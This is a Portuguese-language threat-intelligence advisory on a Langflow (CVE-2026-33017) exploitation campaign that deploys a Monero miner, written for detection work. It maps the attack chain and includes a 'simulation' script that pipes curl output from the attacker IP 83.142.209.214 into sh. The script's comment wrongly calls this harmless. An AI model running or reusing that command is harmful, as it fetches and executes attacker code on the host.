SOC Prime Bias: Crítico

29 Jun 2026 07:25 UTC

Campanha de Criptomineração CVE-2026-33017: De Langflow a Monero

Author Photo
SOC Prime Team linkedin icon Seguir
Campanha de Criptomineração CVE-2026-33017: De Langflow a Monero
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma campanha de mineração de criptomoeda está explorando uma falha de execução remota de código não autenticada no Langflow para implantar um minerador baseado em Go personalizado. A cadeia de ataque usa um dropper de script bash para estabelecer persistência e mover-se lateralmente através de chaves SSH reutilizadas. O malware também desativa medidas de segurança de nível de host e termina processos de mineração concorrentes para maximizar os recursos do sistema disponíveis.

Investigação

Pesquisadores monitoraram a campanha durante um período de 19 dias e identificaram um padrão de exploração consistente envolvendo um flow_id codificado e strings de user-agent rotativas. Sua investigação revelou uma intrusão em várias etapas construída em torno de um binário baseado em Go chamado lambsys.elf, que lidava com evasão de defesa, remoção de logs e persistência suportada por watchdog. Com base no comportamento de exclusão de usuários e técnicas de movimento lateral, acredita-se que a cadeia de ferramentas compartilha origem com a família KORKERDS ou MALXMR.

Mitigação

As organizações devem atualizar o Langflow para a versão 1.9.0 ou mais recente para remediar a questão de execução remota de código. Também é fortemente recomendado bloquear a exposição à internet pública de instâncias do Langflow e evitar executar o serviço com privilégios excessivos. Controles adicionais devem garantir que os fluxos públicos não possam aceitar entradas não autenticadas capazes de disparar a execução de código.

Resposta

Se essa atividade for detectada, as equipes de segurança devem tratá-la tanto como uma violação de mineração de criptomoeda quanto como um possível incidente de exposição de chave SSH. As etapas imediatas devem incluir a rotação de todas as chaves SSH potencialmente expostas e a revisão de hosts conectados em busca de sinais de movimento lateral. As equipes também devem auditar logs do sistema para criação ou exclusão de contas não autorizadas e inspecionar sistemas em busca de alterações de configuração de segurança não aprovadas.

"flowchart TD step_reconnaissance["T1595.002 u2013 Varredura Ativa: Varredura de Vulnerabilidade: Rotação de User-Agent para identificar o alvo e sondar a vulnerabilidade auto_login"] step_exploitation["T1210 u2013 Exploit de Serviços Remotos: Explorando CVE-2026-33017 na API do Langflow via solicitação POST"] step_execution["T1059 u2013 Execução: Primitiva Python __import__('os').system para acionar comandos de shell"] step_ingress_transfer["T1105 u2013 Transferência de Ferramentas de Ingresso: Baixando isp.sh dropper via curl ou wget"] rules_for_ingress_transfer("<b>Nome da Regra</b>: Upload/Download de Arquivo Remoto via Ferramentas Padrão (via cmdline)<br/><b>ID da Regra</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Nome da Regra</b>: Download de Arquivo Suspeito Direto IP (via proxy)<br/><b>ID da Regra</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 u2013 Persistência: Job Cron e script de loop bash (init_rmount) para funcionalidade de watchdog"] step_credential_access["T1552.004 u2013 Acesso a Credenciais: Enumeração de chaves privadas SSH e consultas SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 u2013 Movimento Lateral: Mecanismo worm SSH visando hosts alcançáveis em known_hosts"] step_defense_impairment["T1685 u2013 Comprometimento de Defesa: Desativando ufw, iptables, AppArmor e SELinux"] step_indicator_removal["T1070 u2013 Remoção de Indicador: Deletando /var/log/syslog para dificultar a investigação"] step_command_and_control["T1102.003 u2013 Comando e Controle: lambsys.elf enviando heartbeats JSON via HTTP POST para 83.142.209.214"] step_resource_hijacking["T1496.001 u2013 Sequestro de Recursos: Sequestro de Computação: Implantação de procq (XMRig) para mineração de Monero"] step_reconnaissance –>|leads_to| step_exploitation step_exploitation –>|enables| step_execution step_execution –>|initiates| step_ingress_transfer step_ingress_transfer -.->|detected_by| rules_for_ingress_transfer step_ingress_transfer –>|leads_to| step_persistence step_persistence –>|then| step_credential_access step_credential_access –>|enables| step_lateral_movement step_lateral_movement –>|leads_to| step_defense_impairment step_defense_impairment –>|then| step_indicator_removal step_indicator_removal –>|leads_to| step_command_and_control step_command_and_control –>|results_in| step_resource_hijacking "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Telemetria & Baseline Pre-flight deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

  • Narrativa de Ataque & Comandos: O invasor identifica uma instância vulnerável do Langflow rodando em um servidor Linux. Usando a vulnerabilidade CVE-2026-33017, o invasor injeta uma carga útil maliciosa em Python em uma solicitação. O objetivo é contornar defesas de perímetro e implantar um criptominer Monero. A carga útil usa o os.system do Python para invocar /bin/sh, que então baixa um script de shell (isp.sh) da infraestrutura do invasor (83.142.209.214:8080) e o canaliza diretamente para um shell para execução imediata.

  • Script de Teste de Regressão:

    #!/bin/bash
    # Simulação da exploração CVE-2026-33017 via injeção de Python
    # Este script imita a linha de comando exata que a regra de detecção procura.
    
    echo "[+] Iniciando Simulação: Exploração CVE-2026-33017"
    
    # Usamos python3 para executar a string específica exigida pela lógica da regra
    # Nota: Não estamos realmente baixando nada; estamos apenas imitando a string de comando.
    python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')"
    
    echo "[+] Comando de Simulação Executado."
  • Comandos de Limpeza:

    # Nenhuma alteração permanente feita pelo script de simulação; 
    # no entanto, se algum arquivo fictício foi criado, ele deve ser removido.
    echo "[+] Limpando artefatos de simulação..."
    # (Nenhum artefato criado nesta simulação de linha de comando específica)